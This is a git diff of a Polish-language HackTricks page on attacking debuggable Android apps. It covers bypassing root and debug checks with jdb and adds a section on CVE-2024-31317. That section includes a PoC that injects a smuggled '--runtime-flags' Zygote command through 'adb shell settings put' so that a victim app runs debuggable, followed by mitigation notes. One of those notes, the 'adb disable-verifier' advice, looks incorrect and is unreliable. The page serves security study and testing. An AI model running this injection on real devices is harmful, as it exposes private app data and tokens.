diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 5ede6c598..0e8414335 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -# **Omijanie kontroli root i debugowalności** +# **Obchodzenie kontroli root i debugowalności** Ta sekcja posta jest podsumowaniem z posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) -## Kroki, aby uczynić aplikację Android debugowalną i ominąć kontrole +## Kroki, aby uczynić aplikację Android debugowalną i obejść kontrole ### **Uczynienie aplikacji debugowalną** @@ -15,7 +15,7 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas 1. **Dezkompilacja APK:** - Wykorzystaj narzędzie APK-GUI do dezkompilacji APK. -- W pliku _android-manifest_ wstaw `android:debuggable=true`, aby włączyć tryb debugowania. +- W pliku _android-manifest_ wstaw `android:debuggable="true"`, aby włączyć tryb debugowania. - Ponownie skompiluj, podpisz i zipalignuj zmodyfikowaną aplikację. 2. **Zainstaluj zmodyfikowaną aplikację:** @@ -26,14 +26,14 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas - Wykonaj `adb shell pm list packages –3`, aby wylistować aplikacje firm trzecich i znaleźć nazwę pakietu. -4. **Ustaw aplikację na oczekiwanie na połączenie debugera:** +4. **Ustaw aplikację, aby czekała na połączenie debuggera:** - Polecenie: `adb shell am setup-debug-app –w `. -- **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuger. -- Aby uzyskać trwałość, użyj `adb shell am setup-debug-app –w -–persistent `. +- **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuggera. +- Aby uzyskać trwałość, użyj `adb shell am setup-debug-app –w ––persistent `. - Aby usunąć wszystkie flagi, użyj `adb shell am clear-debug-app `. -5. **Przygotowanie do debugowania w Android Studio:** +5. **Przygotuj się do debugowania w Android Studio:** - Przejdź w Android Studio do _File -> Open Profile or APK_. - Otwórz ponownie skompilowane APK. @@ -41,9 +41,9 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas 6. **Ustaw punkty przerwania w kluczowych plikach Java:** - Umieść punkty przerwania w `MainActivity.java` (szczególnie w metodzie `onCreate`), `b.java` i `ContextWrapper.java`. -### **Omijanie kontroli** +### **Obchodzenie kontroli** -Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna i sprawdzi również binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby ominąć te kontrole. +Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna, a także sprawdzi, czy istnieją binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby obejść te kontrole. Dla kontroli debugowalności: @@ -53,13 +53,13 @@ Dla kontroli debugowalności: ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być omijane przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji. +Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być obchodzone przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji. -Krok 2 polega na zmianie wartości flagi na 814267972, co w reprezentacji binarnej jest 110000101101000000100010100. +Krok 2 polega na zmianie wartości flagi na 814267972, która jest reprezentowana w postaci binarnej jako 110000101101000000100010100. # **Wykorzystywanie luki** -Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana wiadomości z "Try Again" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego. +Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana komunikatu z "Spróbuj ponownie" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego. ## **Sprawdzanie podatności** @@ -75,17 +75,53 @@ Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textvi ## **Wstrzykiwanie kodu w czasie rzeczywistym** -- Wykorzystanie luki odbyło się poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji. +- Wykorzystanie zostało przeprowadzone poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji. - Użyto poleceń takich jak `classes` i `methods `, aby odkryć strukturę aplikacji. - Ustawiono punkt przerwania w metodzie `onClick`, a jego wykonanie było kontrolowane. -- Polecenia `locals`, `next` i `set` były używane do inspekcji i modyfikacji zmiennych lokalnych, szczególnie zmieniając wiadomość "Try Again" na "Hacked". -- Zmodyfikowany kod został wykonany przy użyciu polecenia `run`, skutecznie zmieniając wynik aplikacji w czasie rzeczywistym. +- Polecenia `locals`, `next` i `set` były używane do inspekcji i modyfikacji lokalnych zmiennych, szczególnie zmieniając komunikat "Spróbuj ponownie" na "Hacked". +- Zmodyfikowany kod został wykonany przy użyciu polecenia `run`, skutecznie zmieniając wyjście aplikacji w czasie rzeczywistym. -Ten przykład demonstruje, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji. +Ten przykład pokazał, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji. -## Referencje +--- + +# 2024 – Przekształcanie **dowolnej** aplikacji w proces debugowalny (CVE-2024-31317) + +Nawet jeśli docelowy APK _nie_ jest dostarczany z flagą `android:debuggable`, niedawne badania wykazały, że możliwe jest wymuszenie **dowolnych aplikacji** do uruchomienia z flagą runtime `DEBUG_ENABLE_JDWP`, nadużywając sposób, w jaki Zygote analizuje argumenty wiersza poleceń. + +* **Luka:** Niewłaściwa walidacja `--runtime-flags` dostarczonych przez gniazdo poleceń Zygote pozwala atakującemu, który może uzyskać dostęp do `system_server` (na przykład za pośrednictwem uprzywilejowanego powłoki `adb`, która posiada uprawnienie `WRITE_SECURE_SETTINGS`), na wstrzyknięcie dodatkowych parametrów. Gdy stworzona komenda jest odtwarzana przez `system_server`, aplikacja ofiary jest forkowana jako _debugowalna_ i z wątkiem JDWP nasłuchującym. Problem jest śledzony jako **CVE-2024-31317** i został naprawiony w czerwcu 2024 roku w Biuletynie Bezpieczeństwa Androida. +* **Wpływ:** Pełny dostęp do odczytu/zapisu do prywatnego katalogu danych **dowolnej** aplikacji (w tym uprzywilejowanych, takich jak `com.android.settings`), kradzież tokenów, obejście MDM i w wielu przypadkach bezpośrednia droga do eskalacji uprawnień poprzez nadużywanie eksportowanych punktów IPC teraz-debugowalnego procesu. +* **Dotknięte wersje:** Android 9 do 14 przed poziomem łaty z czerwca 2024 roku. + +## Szybki PoC +```bash +# Requires: adb shell (device must be <2024-06-01 patch-level) +# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag +adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" + +# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP +adb shell monkey -p com.victim.bank 1 + +# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio +adb jdwp # obtain the PID +adb forward tcp:8700 jdwp: +jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 +``` +> Wartość stworzona w kroku 1 wyprowadza parser z „szybkiej ścieżki” i dodaje drugie syntetyczne polecenie, gdzie `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) jest akceptowane tak, jakby zostało dostarczone przez framework. Gdy aplikacja jest uruchamiana, otwierany jest gniazdo JDWP, a regularne sztuczki dynamicznego debugowania (zamiana metod, patchowanie zmiennych, żywe wstrzykiwanie Frida itp.) są możliwe **bez modyfikowania APK lub obrazu rozruchowego urządzenia**. + +## Wykrywanie i łagodzenie + +* Zastosuj łatkę do poziomu bezpieczeństwa **2024-06-01** (lub późniejszego) – Google wzmocnił `ZygoteCommandBuffer`, aby kolejne polecenia nie mogły być przemycane w ten sposób. +* Ogranicz dostęp `WRITE_SECURE_SETTINGS` / `shell` na urządzeniach produkcyjnych. Eksploatacja wymaga tego uprawnienia, które normalnie posiadają tylko aplikacje ADB lub OEM z przywilejami. +* W flotach zarządzanych przez EMM/MDM wymuś `ro.debuggable=0` i odmów dostępu do powłoki za pomocą `adb disable-verifier`. + +--- + +## Odniesienia - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) +- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) +- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}